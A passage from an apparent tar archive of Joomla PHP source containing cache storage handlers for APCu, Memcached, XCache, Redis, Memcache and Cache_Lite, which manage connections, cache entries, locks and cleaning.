			// The internal key name changed with APCu 4.0.7 from key to info
			$internalKey = isset($key['info']) ? $key['info'] : $key['key'];

			if (strpos($internalKey, $secret . '-cache-'))
			{
				apcu_fetch($internalKey);
			}
		}

		return true;
	}

	/**
	 * Test to see if the storage handler is available.
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	public static function isSupported()
	{
		$supported = extension_loaded('apcu') && ini_get('apc.enabled');

		// If on the CLI interface, the `apc.enable_cli` option must also be enabled
		if ($supported && php_sapi_name() === 'cli')
		{
			$supported = ini_get('apc.enable_cli');
		}

		return (bool) $supported;
	}

	/**
	 * Lock cached item
	 *
	 * @param   string   $id        The cache data ID
	 * @param   string   $group     The cache data group
	 * @param   integer  $locktime  Cached item max lock time
	 *
	 * @return  mixed  Boolean false if locking failed or an object containing properties lock and locklooped
	 *
	 * @since   3.5
	 */
	public function lock($id, $group, $locktime)
	{
		$returning = new stdClass;
		$returning->locklooped = false;

		$looptime = $locktime * 10;

		$cache_id = $this->_getCacheId($id, $group) . '_lock';

		$data_lock = apcu_add($cache_id, 1, $locktime);

		if ($data_lock === false)
		{
			$lock_counter = 0;

			// Loop until you find that the lock has been released.
			// That implies that data get from other thread has finished
			while ($data_lock === false)
			{
				if ($lock_counter > $looptime)
				{
					$returning->locked = false;
					$returning->locklooped = true;
					break;
				}

				usleep(100);
				$data_lock = apcu_add($cache_id, 1, $locktime);
				$lock_counter++;
			}
		}

		$returning->locked = $data_lock;

		return $returning;
	}

	/**
	 * Unlock cached item
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	public function unlock($id, $group = null)
	{
		$cache_id = $this->_getCacheId($id, $group) . '_lock';

		// The apcu_delete function returns false if the ID does not exist
		if (apcu_exists($cache_id))
		{
			return apcu_delete($cache_id);
		}

		return true;
	}
}
cms/joomla/cache/storage/memcached.php000644 001411 001411 00000022656 12750043556 020515 0ustar00panelpanel000000 000000 <?php
/**
 * @package     Joomla.Platform
 * @subpackage  Cache
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Memcached cache storage handler
 *
 * @see    https://secure.php.net/manual/en/book.memcached.php
 * @since  12.1
 */
class JCacheStorageMemcached extends JCacheStorage
{
	/**
	 * Memcached connection object
	 *
	 * @var    Memcached
	 * @since  12.1
	 */
	protected static $_db = null;

	/**
	 * Persistent session flag
	 *
	 * @var    boolean
	 * @since  12.1
	 */
	protected $_persistent = false;

	/**
	 * Payload compression level
	 *
	 * @var    integer
	 * @since  12.1
	 */
	protected $_compress = 0;

	/**
	 * Constructor
	 *
	 * @param   array  $options  Optional parameters.
	 *
	 * @since   12.1
	 */
	public function __construct($options = array())
	{
		parent::__construct($options);

		if (static::isSupported() && static::$_db === null)
		{
			$this->getConnection();
		}
	}

	/**
	 * Create the Memcached connection
	 *
	 * @return  void
	 *
	 * @since   12.1
	 * @throws  RuntimeException
	 */
	protected function getConnection()
	{
		$config            = JFactory::getConfig();
		$this->_persistent = $config->get('memcached_persist', true);
		$this->_compress   = $config->get('memcached_compress', false) == false ? 0 : Memcached::OPT_COMPRESSION;

		// Create the memcache connection
		if ($this->_persistent)
		{
			static::$_db = new Memcached(JFactory::getSession()->getId());
		}
		else
		{
			static::$_db = new Memcached;
		}

		$memcachedtest = static::$_db->addServer($config->get('memcached_server_host', 'localhost'), $config->get('memcached_server_port', 11211));

		if ($memcachedtest == false)
		{
			throw new RuntimeException('Could not connect to memcached server', 404);
		}

		static::$_db->setOption(Memcached::OPT_COMPRESSION, $this->_compress);

		// Memcached has no list keys, we do our own accounting, initialise key index
		if (static::$_db->get($this->_hash . '-index') === false)
		{
			static::$_db->set($this->_hash . '-index', array(), 0);
		}
	}

	/**
	 * Get cached data by ID and group
	 *
	 * @param   string   $id         The cache data ID
	 * @param   string   $group      The cache data group
	 * @param   boolean  $checkTime  True to verify cache time expiration threshold
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   12.1
	 */
	public function get($id, $group, $checkTime = true)
	{
		$cache_id = $this->_getCacheId($id, $group);

		return static::$_db->get($cache_id);
	}

	/**
	 * Get all cached data
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   12.1
	 */
	public function getAll()
	{
		$keys   = static::$_db->get($this->_hash . '-index');
		$secret = $this->_hash;

		$data = array();

		if (!empty($keys) && is_array($keys))
		{
			foreach ($keys as $key)
			{
				if (empty($key))
				{
					continue;
				}

				$namearr = explode('-', $key->name);

				if ($namearr !== false && $namearr[0] == $secret && $namearr[1] == 'cache')
				{
					$group = $namearr[2];

					if (!isset($data[$group]))
					{
						$item = new JCacheStorageHelper($group);
					}
					else
					{
						$item = $data[$group];
					}

					$item->updateSize($key->size / 1024);

					$data[$group] = $item;
				}
			}
		}

		return $data;
	}

	/**
	 * Store the data to cache by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 * @param   string  $data   The data to store in cache
	 *
	 * @return  boolean
	 *
	 * @since   12.1
	 */
	public function store($id, $group, $data)
	{
		$cache_id = $this->_getCacheId($id, $group);

		if (!$this->lockindex())
		{
			return false;
		}

		$index = static::$_db->get($this->_hash . '-index');

		if ($index === false)
		{
			$index = array();
		}

		$tmparr       = new stdClass;
		$tmparr->name = $cache_id;
		$tmparr->size = strlen($data);

		$index[] = $tmparr;
		static::$_db->replace($this->_hash . '-index', $index, 0);
		$this->unlockindex();

		// Prevent double writes, write only if it doesn't exist else replace
		if (!static::$_db->replace($cache_id, $data, $this->_lifetime))
		{
			static::$_db->set($cache_id, $data, $this->_lifetime);
		}

		return true;
	}

	/**
	 * Remove a cached data entry by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   12.1
	 */
	public function remove($id, $group)
	{
		$cache_id = $this->_getCacheId($id, $group);

		if (!$this->lockindex())
		{
			return false;
		}

		$index = static::$_db->get($this->_hash . '-index');

		if ($index === false)
		{
			$index = array();
		}

		foreach ($index as $key => $value)
		{
			if ($value->name == $cache_id)
			{
				unset($index[$key]);
			}

			break;
		}

		static::$_db->replace($this->_hash . '-index', $index, 0);
		$this->unlockindex();

		return static::$_db->delete($cache_id);
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode    : cleans all cache in the group
	 * notgroup mode : cleans all cache not in the group
	 *
	 * @param   string  $group  The cache data group
	 * @param   string  $mode   The mode for cleaning cache [group|notgroup]
	 *
	 * @return  boolean
	 *
	 * @since   12.1
	 */
	public function clean($group, $mode = null)
	{
		if (!$this->lockindex())
		{
			return false;
		}

		$index = static::$_db->get($this->_hash . '-index');

		if ($index === false)
		{
			$index = array();
		}

		$secret = $this->_hash;

		foreach ($index as $key => $value)
		{
			if (strpos($value->name, $secret . '-cache-' . $group . '-') === 0 xor $mode != 'group')
			{
				static::$_db->delete($value->name, 0);
				unset($index[$key]);
			}
		}

		static::$_db->replace($this->_hash . '-index', $index, 0);
		$this->unlockindex();

		return true;
	}

	/**
	 * Test to see if the storage handler is available.
	 *
	 * @return  boolean
	 *
	 * @since   12.1
	 */
	public static function isSupported()
	{
		/*
		 * GAE and HHVM have both had instances where Memcached the class was defined but no extension was loaded.
		 * If the class is there, we can assume support.
		 */
		if (!class_exists('Memcached'))
		{
			return false;
		}

		// Now check if we can connect to the specified Memcached server
		$config = JFactory::getConfig();

		$memcached = new Memcached;
		return @$memcached->addServer($config->get('memcached_server_host', 'localhost'), $config->get('memcached_server_port', 11211));
	}

	/**
	 * Lock cached item
	 *
	 * @param   string   $id        The cache data ID
	 * @param   string   $group     The cache data group
	 * @param   integer  $locktime  Cached item max lock time
	 *
	 * @return  mixed  Boolean false if locking failed or an object containing properties lock and locklooped
	 *
	 * @since   12.1
	 */
	public function lock($id, $group, $locktime)
	{
		$returning = new stdClass;
		$returning->locklooped = false;

		$looptime = $locktime * 10;

		$cache_id = $this->_getCacheId($id, $group);

		if (!$this->lockindex())
		{
			return false;
		}

		$index = static::$_db->get($this->_hash . '-index');

		if ($index === false)
		{
			$index = array();
		}

		$tmparr = new stdClass;
		$tmparr->name = $cache_id;
		$tmparr->size = 1;

		$index[] = $tmparr;
		static::$_db->replace($this->_hash . '-index', $index, 0);

		$this->unlockindex();

		$data_lock = static::$_db->add($cache_id . '_lock', 1, $locktime);

		if ($data_lock === false)
		{
			$lock_counter = 0;

			// Loop until you find that the lock has been released.
			// That implies that data get from other thread has finished
			while ($data_lock === false)
			{
				if ($lock_counter > $looptime)
				{
					$returning->locked = false;
					$returning->locklooped = true;
					break;
				}

				usleep(100);
				$data_lock = static::$_db->add($cache_id . '_lock', 1, $locktime);
				$lock_counter++;
			}
		}

		$returning->locked = $data_lock;

		return $returning;
	}

	/**
	 * Unlock cached item
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   12.1
	 */
	public function unlock($id, $group = null)
	{
		$cache_id = $this->_getCacheId($id, $group) . '_lock';

		if (!$this->lockindex())
		{
			return false;
		}

		$index = static::$_db->get($this->_hash . '-index');

		if ($index === false)
		{
			$index = array();
		}

		foreach ($index as $key => $value)
		{
			if ($value->name == $cache_id)
			{
				unset($index[$key]);
			}

			break;
		}

		static::$_db->replace($this->_hash . '-index', $index, 0);
		$this->unlockindex();

		return static::$_db->delete($cache_id);
	}

	/**
	 * Lock cache index
	 *
	 * @return  boolean
	 *
	 * @since   12.1
	 */
	protected function lockindex()
	{
		$looptime  = 300;
		$data_lock = static::$_db->add($this->_hash . '-index_lock', 1, 30);

		if ($data_lock === false)
		{
			$lock_counter = 0;

			// Loop until you find that the lock has been released.  that implies that data get from other thread has finished
			while ($data_lock === false)
			{
				if ($lock_counter > $looptime)
				{
					return false;
					break;
				}

				usleep(100);
				$data_lock = static::$_db->add($this->_hash . '-index_lock', 1, 30);
				$lock_counter++;
			}
		}

		return true;
	}

	/**
	 * Unlock cache index
	 *
	 * @return  boolean
	 *
	 * @since   12.1
	 */
	protected function unlockindex()
	{
		return static::$_db->delete($this->_hash . '-index_lock');
	}
}
cms/joomla/cache/storage/xcache.php000644 001411 001411 00000011034 12750043556 020026 0ustar00panelpanel000000 000000 <?php
/**
 * @package     Joomla.Platform
 * @subpackage  Cache
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * XCache cache storage handler
 *
 * @link   http://xcache.lighttpd.net/
 * @since  11.1
 */
class JCacheStorageXcache extends JCacheStorage
{
	/**
	 * Get cached data by ID and group
	 *
	 * @param   string   $id         The cache data ID
	 * @param   string   $group      The cache data group
	 * @param   boolean  $checkTime  True to verify cache time expiration threshold
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   11.1
	 */
	public function get($id, $group, $checkTime = true)
	{
		// Make sure XCache is configured properly
		if (static::isSupported() == false)
		{
			return false;
		}

		$cache_id = $this->_getCacheId($id, $group);
		$cache_content = xcache_get($cache_id);

		if ($cache_content === null)
		{
			return false;
		}

		return $cache_content;
	}

	/**
	 * Get all cached data
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   11.1
	 * @note    This requires the php.ini setting xcache.admin.enable_auth = Off.
	 */
	public function getAll()
	{
		// Make sure XCache is configured properly
		if (static::isSupported() == false)
		{
			return array();
		}

		$allinfo = xcache_list(XC_TYPE_VAR, 0);
		$keys    = $allinfo['cache_list'];
		$secret  = $this->_hash;

		$data = array();

		foreach ($keys as $key)
		{
			$namearr = explode('-', $key['name']);

			if ($namearr !== false && $namearr[0] == $secret && $namearr[1] == 'cache')
			{
				$group = $namearr[2];

				if (!isset($data[$group]))
				{
					$item = new JCacheStorageHelper($group);
				}
				else
				{
					$item = $data[$group];
				}

				$item->updateSize($key['size'] / 1024);

				$data[$group] = $item;
			}
		}

		return $data;
	}

	/**
	 * Store the data to cache by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 * @param   string  $data   The data to store in cache
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function store($id, $group, $data)
	{
		// Make sure XCache is configured properly
		if (static::isSupported() == false)
		{
			return false;
		}

		return xcache_set($this->_getCacheId($id, $group), $data, $this->_lifetime);
	}

	/**
	 * Remove a cached data entry by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function remove($id, $group)
	{
		// Make sure XCache is configured properly
		if (static::isSupported() == false)
		{
			return false;
		}

		$cache_id = $this->_getCacheId($id, $group);

		if (!xcache_isset($cache_id))
		{
			return true;
		}

		return xcache_unset($cache_id);
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode    : cleans all cache in the group
	 * notgroup mode : cleans all cache not in the group
	 *
	 * @param   string  $group  The cache data group
	 * @param   string  $mode   The mode for cleaning cache [group|notgroup]
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function clean($group, $mode = null)
	{
		// Make sure XCache is configured properly
		if (static::isSupported() == false)
		{
			return true;
		}

		$allinfo = xcache_list(XC_TYPE_VAR, 0);
		$keys    = $allinfo['cache_list'];
		$secret  = $this->_hash;

		foreach ($keys as $key)
		{
			if (strpos($key['name'], $secret . '-cache-' . $group . '-') === 0 xor $mode != 'group')
			{
				xcache_unset($key['name']);
			}
		}

		return true;
	}

	/**
	 * Test to see if the storage handler is available.
	 *
	 * @return  boolean
	 *
	 * @since   12.1
	 */
	public static function isSupported()
	{
		if (extension_loaded('xcache'))
		{
			// XCache Admin must be disabled for Joomla to use XCache
			$xcache_admin_enable_auth = ini_get('xcache.admin.enable_auth');

			// Some extensions ini variables are reported as strings
			if ($xcache_admin_enable_auth == 'Off')
			{
				return true;
			}

			// We require a string with contents 0, not a null value because it is not set since that then defaults to On/True
			if ($xcache_admin_enable_auth === '0')
			{
				return true;
			}

			// In some enviorments empty is equivalent to Off; See JC: #34044 && Github: #4083
			if ($xcache_admin_enable_auth === '')
			{
				return true;
			}
		}

		// If the settings are not correct, give up
		return false;
	}
}
cms/joomla/cache/storage/redis.php000644 001411 001411 00000014331 12750043556 017704 0ustar00panelpanel000000 000000 <?php
/**
 * @package     Joomla.Platform
 * @subpackage  Cache
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Redis cache storage handler for PECL
 *
 * @since  3.4
 */
class JCacheStorageRedis extends JCacheStorage
{
	/**
	 * Redis connection object
	 *
	 * @var    Redis
	 * @since  3.4
	 */
	protected static $_redis = null;

	/**
	 * Persistent session flag
	 *
	 * @var    boolean
	 * @since  3.4
	 */
	protected $_persistent = false;

	/**
	 * Constructor
	 *
	 * @param   array  $options  Optional parameters.
	 *
	 * @since   3.4
	 */
	public function __construct($options = array())
	{
		parent::__construct($options);

		if (static::$_redis === null)
		{
			$this->getConnection();
		}
	}

	/**
	 * Create the Redis connection
	 *
	 * @return  Redis|boolean  Redis connection object on success, boolean on failure
	 *
	 * @since   3.4
	 */
	protected function getConnection()
	{
		if (static::isSupported() == false)
		{
			return false;
		}

		$config = JFactory::getConfig();
		$app    = JFactory::getApplication();

		$this->_persistent = $config->get('redis_persist', true);

		$server = array(
			'host' => $config->get('redis_server_host', 'localhost'),
			'port' => $config->get('redis_server_port', 6379),
			'auth' => $config->get('redis_server_auth', null),
			'db'   => (int) $config->get('redis_server_db', null)
		);

		static::$_redis = new Redis;

		if ($this->_persistent)
		{
			try
			{
				$connection = static::$_redis->pconnect($server['host'], $server['port']);
				$auth       = (!empty($server['auth'])) ? static::$_redis->auth($server['auth']) : true;
			}
			catch (RedisException $e)
			{
				JLog::add($e->getMessage(), JLog::DEBUG);
			}
		}
		else
		{
			try
			{
				$connection = static::$_redis->connect($server['host'], $server['port']);
				$auth       = (!empty($server['auth'])) ? static::$_redis->auth($server['auth']) : true;
			}
			catch (RedisException $e)
			{
				JLog::add($e->getMessage(), JLog::DEBUG);
			}
		}

		if ($connection == false)
		{
			static::$_redis = null;

			if ($app->isAdmin())
			{
				JError::raiseWarning(500, 'Redis connection failed');
			}

			return false;
		}

		if ($auth == false)
		{
			if ($app->isAdmin())
			{
				JError::raiseWarning(500, 'Redis authentication failed');
			}

			return false;
		}

		$select = static::$_redis->select($server['db']);

		if ($select == false)
		{
			static::$_redis = null;

			if ($app->isAdmin())
			{
				JError::raiseWarning(500, 'Redis failed to select database');
			}

			return false;
		}

		try
		{
			static::$_redis->ping();
		}
		catch (RedisException $e)
		{
			static::$_redis = null;

			if ($app->isAdmin())
			{
				JError::raiseWarning(500, 'Redis ping failed');
			}

			return false;
		}

		return static::$_redis;
	}

	/**
	 * Get cached data by ID and group
	 *
	 * @param   string   $id         The cache data ID
	 * @param   string   $group      The cache data group
	 * @param   boolean  $checkTime  True to verify cache time expiration threshold
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   3.4
	 */
	public function get($id, $group, $checkTime = true)
	{
		if (static::isConnected() == false)
		{
			return false;
		}

		return static::$_redis->get($this->_getCacheId($id, $group));
	}

	/**
	 * Get all cached data
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   3.4
	 */
	public function getAll()
	{
		if (static::isConnected() == false)
		{
			return false;
		}

		$allKeys = static::$_redis->keys('*');
		$data    = array();
		$secret  = $this->_hash;

		if (!empty($allKeys))
		{
			foreach ($allKeys as $key)
			{
				$namearr = explode('-', $key);

				if ($namearr !== false && $namearr[0] == $secret && $namearr[1] == 'cache')
				{
					$group = $namearr[2];

					if (!isset($data[$group]))
					{
						$item = new JCacheStorageHelper($group);
					}
					else
					{
						$item = $data[$group];
					}

					$item->updateSize(strlen($key)*8/1024);
					$data[$group] = $item;
				}
			}
		}

		return $data;
	}

	/**
	 * Store the data to cache by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 * @param   string  $data   The data to store in cache
	 *
	 * @return  boolean
	 *
	 * @since   3.4
	 */
	public function store($id, $group, $data)
	{
		if (static::isConnected() == false)
		{
			return false;
		}

		static::$_redis->setex($this->_getCacheId($id, $group), $this->_lifetime, $data);

		return true;
	}

	/**
	 * Remove a cached data entry by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   3.4
	 */
	public function remove($id, $group)
	{
		if (static::isConnected() == false)
		{
			return false;
		}

		return (bool) static::$_redis->delete($this->_getCacheId($id, $group));
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode    : cleans all cache in the group
	 * notgroup mode : cleans all cache not in the group
	 *
	 * @param   string  $group  The cache data group
	 * @param   string  $mode   The mode for cleaning cache [group|notgroup]
	 *
	 * @return  boolean
	 *
	 * @since   3.4
	 */
	public function clean($group, $mode = null)
	{
		if (static::isConnected() == false)
		{
			return false;
		}

		$allKeys = static::$_redis->keys('*');

		if ($allKeys === false)
		{
			$allKeys = array();
		}

		$secret = $this->_hash;

		foreach ($allKeys as $key)
		{
			if (strpos($key, $secret . '-cache-' . $group . '-') === 0 && $mode == 'group')
			{
				static::$_redis->delete($key);
			}

			if (strpos($key, $secret . '-cache-' . $group . '-') !== 0 && $mode != 'group')
			{
				static::$_redis->delete($key);
			}
		}

		return true;
	}

	/**
	 * Test to see if the storage handler is available.
	 *
	 * @return  boolean
	 *
	 * @since   3.4
	 */
	public static function isSupported()
	{
		return class_exists('Redis');
	}

	/**
	 * Test to see if the Redis connection is available.
	 *
	 * @return  boolean
	 *
	 * @since   3.4
	 */
	public static function isConnected()
	{
		return static::$_redis instanceof Redis;
	}
}
cms/joomla/cache/storage/memcache.php000644 001411 001411 00000022455 12750043556 020346 0ustar00panelpanel000000 000000 <?php
/**
 * @package     Joomla.Platform
 * @subpackage  Cache
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Memcache cache storage handler
 *
 * @see    https://secure.php.net/manual/en/book.memcache.php
 * @since  11.1
 */
class JCacheStorageMemcache extends JCacheStorage
{
	/**
	 * Memcache connection object
	 *
	 * @var    Memcache
	 * @since  11.1
	 */
	protected static $_db = null;

	/**
	 * Persistent session flag
	 *
	 * @var    boolean
	 * @since  11.1
	 */
	protected $_persistent = false;

	/**
	 * Payload compression level
	 *
	 * @var    integer
	 * @since  11.1
	 */
	protected $_compress = 0;

	/**
	 * Constructor
	 *
	 * @param   array  $options  Optional parameters.
	 *
	 * @since   11.1
	 */
	public function __construct($options = array())
	{
		parent::__construct($options);

		if (static::isSupported() && static::$_db === null)
		{
			$this->getConnection();
		}
	}

	/**
	 * Create the Memcache connection
	 *
	 * @return  void
	 *
	 * @since   11.1
	 * @throws  RuntimeException
	 */
	protected function getConnection()
	{
		$config            = JFactory::getConfig();
		$this->_persistent = $config->get('memcache_persist', true);
		$this->_compress   = $config->get('memcache_compress', false) == false ? 0 : MEMCACHE_COMPRESSED;

		// Create the memcache connection
		static::$_db = new Memcache;
		static::$_db->addserver($config->get('memcache_server_host', 'localhost'), $config->get('memcache_server_port', 11211), $this->_persistent);

		$memcachetest = @static::$_db->connect($server['host'], $server['port']);

		if ($memcachetest == false)
		{
			throw new RuntimeException('Could not connect to memcache server', 404);
		}

		// Memcahed has no list keys, we do our own accounting, initialise key index
		if (static::$_db->get($this->_hash . '-index') === false)
		{
			static::$_db->set($this->_hash . '-index', array(), $this->_compress, 0);
		}

		return;
	}

	/**
	 * Get cached data by ID and group
	 *
	 * @param   string   $id         The cache data ID
	 * @param   string   $group      The cache data group
	 * @param   boolean  $checkTime  True to verify cache time expiration threshold
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   11.1
	 */
	public function get($id, $group, $checkTime = true)
	{
		return static::$_db->get($this->_getCacheId($id, $group));
	}

	/**
	 * Get all cached data
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   11.1
	 */
	public function getAll()
	{
		$keys   = static::$_db->get($this->_hash . '-index');
		$secret = $this->_hash;

		$data = array();

		if (!empty($keys))
		{
			foreach ($keys as $key)
			{
				if (empty($key))
				{
					continue;
				}

				$namearr = explode('-', $key->name);

				if ($namearr !== false && $namearr[0] == $secret && $namearr[1] == 'cache')
				{
					$group = $namearr[2];

					if (!isset($data[$group]))
					{
						$item = new JCacheStorageHelper($group);
					}
					else
					{
						$item = $data[$group];
					}

					$item->updateSize($key->size / 1024);

					$data[$group] = $item;
				}
			}
		}

		return $data;
	}

	/**
	 * Store the data to cache by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 * @param   string  $data   The data to store in cache
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function store($id, $group, $data)
	{
		$cache_id = $this->_getCacheId($id, $group);

		if (!$this->lockindex())
		{
			return false;
		}

		$index = static::$_db->get($this->_hash . '-index');

		if ($index === false)
		{
			$index = array();
		}

		$tmparr       = new stdClass;
		$tmparr->name = $cache_id;
		$tmparr->size = strlen($data);

		$index[] = $tmparr;
		static::$_db->replace($this->_hash . '-index', $index, 0, 0);
		$this->unlockindex();

		// Prevent double writes, write only if it doesn't exist else replace
		if (!static::$_db->replace($cache_id, $data, $this->_compress, $this->_lifetime))
		{
			static::$_db->set($cache_id, $data, $this->_compress, $this->_lifetime);
		}

		return true;
	}

	/**
	 * Remove a cached data entry by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function remove($id, $group)
	{
		$cache_id = $this->_getCacheId($id, $group);

		if (!$this->lockindex())
		{
			return false;
		}

		$index = static::$_db->get($this->_hash . '-index');

		if ($index === false)
		{
			$index = array();
		}

		foreach ($index as $key => $value)
		{
			if ($value->name == $cache_id)
			{
				unset($index[$key]);
			}

			break;
		}

		static::$_db->replace($this->_hash . '-index', $index, 0, 0);
		$this->unlockindex();

		return static::$_db->delete($cache_id);
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode    : cleans all cache in the group
	 * notgroup mode : cleans all cache not in the group
	 *
	 * @param   string  $group  The cache data group
	 * @param   string  $mode   The mode for cleaning cache [group|notgroup]
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function clean($group, $mode = null)
	{
		if (!$this->lockindex())
		{
			return false;
		}

		$index = static::$_db->get($this->_hash . '-index');

		if ($index === false)
		{
			$index = array();
		}

		$secret = $this->_hash;

		foreach ($index as $key => $value)
		{
			if (strpos($value->name, $secret . '-cache-' . $group . '-') === 0 xor $mode != 'group')
			{
				static::$_db->delete($value->name, 0);
				unset($index[$key]);
			}
		}

		static::$_db->replace($this->_hash . '-index', $index, 0, 0);
		$this->unlockindex();

		return true;
	}

	/**
	 * Test to see if the storage handler is available.
	 *
	 * @return  boolean
	 *
	 * @since   12.1
	 */
	public static function isSupported()
	{
		// First check if the PHP requirements are met
		$supported = extension_loaded('memcache') && class_exists('Memcache');

		if (!$supported)
		{
			return false;
		}

		// Now check if we can connect to the specified Memcache server
		$config = JFactory::getConfig();

		$memcache = new Memcache;
		return @$memcache->connect($config->get('memcache_server_host', 'localhost'), $config->get('memcache_server_port', 11211));
	}

	/**
	 * Lock cached item
	 *
	 * @param   string   $id        The cache data ID
	 * @param   string   $group     The cache data group
	 * @param   integer  $locktime  Cached item max lock time
	 *
	 * @return  mixed  Boolean false if locking failed or an object containing properties lock and locklooped
	 *
	 * @since   11.1
	 */
	public function lock($id, $group, $locktime)
	{
		$returning             = new stdClass;
		$returning->locklooped = false;

		$looptime = $locktime * 10;

		$cache_id = $this->_getCacheId($id, $group);

		if (!$this->lockindex())
		{
			return false;
		}

		$index = static::$_db->get($this->_hash . '-index');

		if ($index === false)
		{
			$index = array();
		}

		$tmparr       = new stdClass;
		$tmparr->name = $cache_id;
		$tmparr->size = 1;

		$index[] = $tmparr;
		static::$_db->replace($this->_hash . '-index', $index, 0, 0);
		$this->unlockindex();

		$data_lock = static::$_db->add($cache_id . '_lock', 1, false, $locktime);

		if ($data_lock === false)
		{
			$lock_counter = 0;

			// Loop until you find that the lock has been released. That implies that data get from other thread has finished
			while ($data_lock === false)
			{
				if ($lock_counter > $looptime)
				{
					$returning->locked = false;
					$returning->locklooped = true;
					break;
				}

				usleep(100);
				$data_lock = static::$_db->add($cache_id . '_lock', 1, false, $locktime);
				$lock_counter++;
			}
		}

		$returning->locked = $data_lock;

		return $returning;
	}

	/**
	 * Unlock cached item
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function unlock($id, $group = null)
	{
		$cache_id = $this->_getCacheId($id, $group) . '_lock';

		if (!$this->lockindex())
		{
			return false;
		}

		$index = static::$_db->get($this->_hash . '-index');

		if ($index === false)
		{
			$index = array();
		}

		foreach ($index as $key => $value)
		{
			if ($value->name == $cache_id)
			{
				unset($index[$key]);
			}

			break;
		}

		static::$_db->replace($this->_hash . '-index', $index, 0, 0);
		$this->unlockindex();

		return static::$_db->delete($cache_id);
	}

	/**
	 * Lock cache index
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	protected function lockindex()
	{
		$looptime  = 300;
		$data_lock = static::$_db->add($this->_hash . '-index_lock', 1, false, 30);

		if ($data_lock === false)
		{
			$lock_counter = 0;

			// Loop until you find that the lock has been released.  that implies that data get from other thread has finished
			while ($data_lock === false)
			{
				if ($lock_counter > $looptime)
				{
					return false;
					break;
				}

				usleep(100);
				$data_lock = static::$_db->add($this->_hash . '-index_lock', 1, false, 30);
				$lock_counter++;
			}
		}

		return true;
	}

	/**
	 * Unlock cache index
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	protected function unlockindex()
	{
		return static::$_db->delete($this->_hash . '-index_lock');
	}
}
cms/joomla/cache/storage/cachelite.php000644 001411 001411 00000016264 12750043556 020526 0ustar00panelpanel000000 000000 <?php
/**
 * @package     Joomla.Platform
 * @subpackage  Cache
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Cache lite storage handler
 *
 * @see    http://pear.php.net/package/Cache_Lite/
 * @since  11.1
 */
class JCacheStorageCachelite extends JCacheStorage
{
	/**
	 * Singleton Cache_Lite instance
	 *
	 * @var    Cache_Lite
	 * @since  11.1
	 */
	protected static $CacheLiteInstance = null;

	/**
	 * Root path
	 *
	 * @var    string
	 * @since  11.1
	 */
	protected $_root;

	/**
	 * Constructor
	 *
	 * @param   array  $options  Optional parameters.
	 *
	 * @since   11.1
	 */
	public function __construct($options = array())
	{
		parent::__construct($options);

		$this->_root = $options['cachebase'];

		$cloptions = array(
			'cacheDir'                => $this->_root . '/',
			'lifeTime'                => $this->_lifetime,
			'fileLocking'             => $this->_locking,
			'automaticCleaningFactor' => isset($options['autoclean']) ? $options['autoclean'] : 200,
			'fileNameProtection'      => false,
			'hashedDirectoryLevel'    => 0,
			'caching'                 => $options['caching']
		);

		if (static::$CacheLiteInstance === null)
		{
			$this->initCache($cloptions);
		}
	}

	/**
